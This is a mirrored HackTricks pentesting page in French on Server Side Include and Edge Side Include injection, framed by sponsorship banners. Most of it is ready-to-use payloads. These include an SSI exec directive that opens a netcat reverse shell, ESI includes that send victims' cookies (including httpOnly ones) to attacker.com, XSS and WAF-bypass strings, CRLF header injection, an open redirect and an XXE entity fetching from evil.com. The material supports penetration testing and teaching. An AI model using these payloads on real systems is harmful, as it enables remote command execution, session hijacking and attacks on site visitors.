mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
239 lines
14 KiB
Markdown
239 lines
14 KiB
Markdown
## Injection d'inclusion côté serveur / côté bord
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Informations de base sur l'inclusion côté serveur
|
|
|
|
Les SSI (Server Side Includes) sont des directives qui sont **placées dans des pages HTML et évaluées sur le serveur** pendant que les pages sont servies. Ils vous permettent d'**ajouter du contenu généré dynamiquement** à une page HTML existante, sans avoir à servir l'ensemble de la page via un programme CGI ou une autre technologie dynamique.\
|
|
Par exemple, vous pouvez placer une directive dans une page HTML existante, comme :
|
|
|
|
`<!--#echo var="DATE_LOCAL" -->`
|
|
|
|
Et, lorsque la page est servie, ce fragment sera évalué et remplacé par sa valeur :
|
|
|
|
`Mardi, 15-Jan-2013 19:28:54 EST`
|
|
|
|
La décision de quand utiliser SSI et quand avoir votre page entièrement générée par un programme est généralement une question de savoir combien de la page est statique et combien doit être recalculé chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petites informations, telles que l'heure actuelle - comme indiqué ci-dessus. Mais si la majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution. (Définition prise [ici](https://httpd.apache.org/docs/current/howto/ssi.html)).
|
|
|
|
Vous pouvez déduire la présence de SSI si l'application web utilise des fichiers avec les extensions \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mais ce n'est pas toujours le cas.
|
|
|
|
Une expression SSI typique a le format suivant :
|
|
```
|
|
<!--#directive param="value" -->
|
|
```
|
|
### Vérification
|
|
```javascript
|
|
// Document name
|
|
<!--#echo var="DOCUMENT_NAME" -->
|
|
// Date
|
|
<!--#echo var="DATE_LOCAL" -->
|
|
|
|
// File inclusion
|
|
<!--#include virtual="/index.html" -->
|
|
// Including files (same directory)
|
|
<!--#include file="file_to_include.html" -->
|
|
// CGI Program results
|
|
<!--#include virtual="/cgi-bin/counter.pl" -->
|
|
// Including virtual files (same directory)
|
|
<!--#include virtual="file_to_include.html" -->
|
|
// Modification date of a file
|
|
<!--#flastmod file="index.html" -->
|
|
|
|
// Command exec
|
|
<!--#exec cmd="dir" -->
|
|
// Command exec
|
|
<!--#exec cmd="ls" -->
|
|
// Reverse shell
|
|
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
|
|
|
|
// Print all variables
|
|
<!--#printenv -->
|
|
// Setting variables
|
|
<!--#set var="name" value="Rich" -->
|
|
|
|
```
|
|
## Inclusion côté serveur
|
|
|
|
Il y a un problème de **mise en cache d'informations ou d'applications dynamiques** car une partie du contenu peut avoir **changé** pour la prochaine fois que le contenu est récupéré. C'est là que l'**ESI** est utilisé, pour indiquer à l'aide de balises ESI le **contenu dynamique qui doit être généré** avant l'envoi de la version en cache.\
|
|
Si un **attaquant** est capable d'**injecter une balise ESI** dans le contenu mis en cache, alors il pourrait être capable d'**injecter un contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
|
|
|
|
### Détection de l'ESI
|
|
|
|
L'en-tête suivant dans une réponse du serveur signifie que le serveur utilise l'ESI:
|
|
```
|
|
Surrogate-Control: content="ESI/1.0"
|
|
```
|
|
Si vous ne trouvez pas cet en-tête, le serveur **peut quand même utiliser ESI**.\
|
|
Une **approche d'exploitation aveugle peut également être utilisée** car une requête doit arriver sur le serveur de l'attaquant :
|
|
```javascript
|
|
// Basic detection
|
|
hell<!--esi-->o
|
|
// If previous is reflected as "hello", it's vulnerable
|
|
|
|
// Blind detection
|
|
<esi:include src=http://attacker.com>
|
|
|
|
// XSS Exploitation Example
|
|
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
|
|
|
|
// Cookie Stealer (bypass httpOnly flag)
|
|
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
|
|
|
|
// Introduce private local files (Not LFI per se)
|
|
<esi:include src="supersecret.txt">
|
|
|
|
// Valid for Akamai, sends debug information in the response
|
|
<esi:debug/>
|
|
```
|
|
### Exploitation de l'ESI
|
|
|
|
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a créé un tableau pour nous aider à comprendre les attaques possibles que nous pouvons essayer contre différents logiciels capables d'ESI, en fonction de la fonctionnalité prise en charge. Expliquons d'abord les noms de colonnes du tableau ci-dessous :
|
|
|
|
* **Includes** : Prend en charge la directive `<esi:includes>`
|
|
* **Vars** : Prend en charge la directive `<esi:vars>`. Utile pour contourner les filtres XSS
|
|
* **Cookie** : Les cookies du document sont accessibles au moteur ESI
|
|
* **Upstream Headers Required** : Les applications de substitution ne traiteront pas les déclarations ESI à moins que l'application en amont ne fournisse les en-têtes
|
|
* **Host Allowlist** : Dans ce cas, les inclusions ESI ne sont possibles que depuis les hôtes de serveur autorisés, rendant SSRF, par exemple, possible uniquement contre ces hôtes
|
|
|
|
| **Logiciel** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
|
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
|
| Squid3 | Oui | Oui | Oui | Oui | Non |
|
|
| Varnish Cache | Oui | Non | Non | Oui | Oui |
|
|
| Fastly | Oui | Non | Non | Non | Oui |
|
|
| Akamai ESI Test Server (ETS) | Oui | Oui | Oui | Non | Non |
|
|
| NodeJS esi | Oui | Oui | Oui | Non | Non |
|
|
| NodeJS nodesi | Oui | Non | Non | Non | Optionnel |
|
|
|
|
#### XSS
|
|
|
|
La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur.
|
|
```markup
|
|
<esi:include src=http://attacker.com/xss.html>
|
|
```
|
|
Le fichier _http://attaquant.com/xss.html_ peut contenir une charge utile XSS telle que `<script>alert(1)</script>`
|
|
|
|
#### Contourner la protection XSS côté client
|
|
```markup
|
|
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
|
|
|
Use <!--esi--> to bypass WAFs:
|
|
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
|
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
|
```
|
|
#### Vol de Cookie
|
|
|
|
* Vol de cookie à distance
|
|
```markup
|
|
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
|
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
|
```
|
|
* Voler le cookie HTTP\_ONLY avec XSS en le reflétant dans la réponse :
|
|
```bash
|
|
# This will reflect the cookies in the response
|
|
<!--esi $(HTTP_COOKIE) -->
|
|
# Reflect XSS
|
|
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
|
|
```
|
|
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Prise de compte complète en reflétant les cookies
|
|
|
|
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
#### Fichier local privé
|
|
|
|
Ne pas confondre avec une "inclusion de fichier local":
|
|
```markup
|
|
<esi:include src="secret.txt">
|
|
```
|
|
#### CRLF
|
|
|
|
CRLF signifie Carriage Return Line Feed. Il s'agit d'une séquence de caractères utilisée pour représenter la fin d'une ligne de texte et le début d'une nouvelle ligne dans un fichier texte. Les serveurs Web utilisent souvent CRLF pour séparer les en-têtes HTTP des corps de réponse. Les attaquants peuvent exploiter les vulnérabilités de CRLF pour injecter des en-têtes HTTP malveillants et effectuer des attaques d'inclusion de côté serveur (SSI) et d'inclusion de bord (ESI).
|
|
```markup
|
|
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
|
```
|
|
#### Redirection ouverte
|
|
|
|
Le code suivant ajoutera un en-tête `Location` à la réponse.
|
|
```bash
|
|
<!--esi $add_header('Location','http://attacker.com') -->
|
|
```
|
|
#### Ajouter un en-tête
|
|
|
|
* Ajouter un en-tête dans une requête forcée
|
|
```html
|
|
<esi:include src="http://example.com/asdasd">
|
|
<esi:request_header name="User-Agent" value="12345"/>
|
|
</esi:include>
|
|
```
|
|
* Ajouter un en-tête dans la réponse (utile pour contourner "Content-Type: text/json" dans une réponse avec XSS)
|
|
```bash
|
|
<!--esi/$add_header('Content-Type','text/html')/-->
|
|
|
|
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
|
|
```
|
|
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
#### CRLF dans l'ajout d'en-tête (**CVE-2019-2438)**
|
|
```markup
|
|
<esi:include src="http://example.com/asdasd">
|
|
<esi:request_header name="User-Agent" value="12345
|
|
Host: anotherhost.com"/>
|
|
</esi:include>
|
|
```
|
|
#### Débogage Akamai
|
|
|
|
Cela enverra des informations de débogage incluses dans la réponse :
|
|
```markup
|
|
<esi:debug/>
|
|
```
|
|
### ESI + XSLT = XXE
|
|
|
|
Il est également possible d'ajouter des inclusions ESI basées sur **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** en spécifiant la valeur `xslt` pour le paramètre _dca_. L'inclusion suivante provoquera la demande de fichier XML et XSLT par le serveur HTTP. Le fichier XSLT est ensuite utilisé pour filtrer le fichier XML. Ce fichier XML peut être utilisé pour effectuer des attaques _XML External Entity (XXE)_. Cela permet aux attaquants d'effectuer des attaques SSRF, ce qui n'est pas très utile car cela doit être effectué via des inclusions ESI, qui est un vecteur SSRF en soi. Les DTD externes ne sont pas analysés car la bibliothèque sous-jacente (Xalan) ne les prend pas en charge. Cela signifie que nous ne pouvons pas extraire de fichiers locaux.
|
|
```markup
|
|
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
|
```
|
|
Le fichier XSLT :
|
|
```markup
|
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
|
|
<foo>&xxe;</foo>
|
|
```
|
|
Vérifiez la page XSLT :
|
|
|
|
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
|
|
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Références
|
|
|
|
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
|
|
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
|
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
|
|
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
|
|
|
|
## Liste de détection de force brute
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|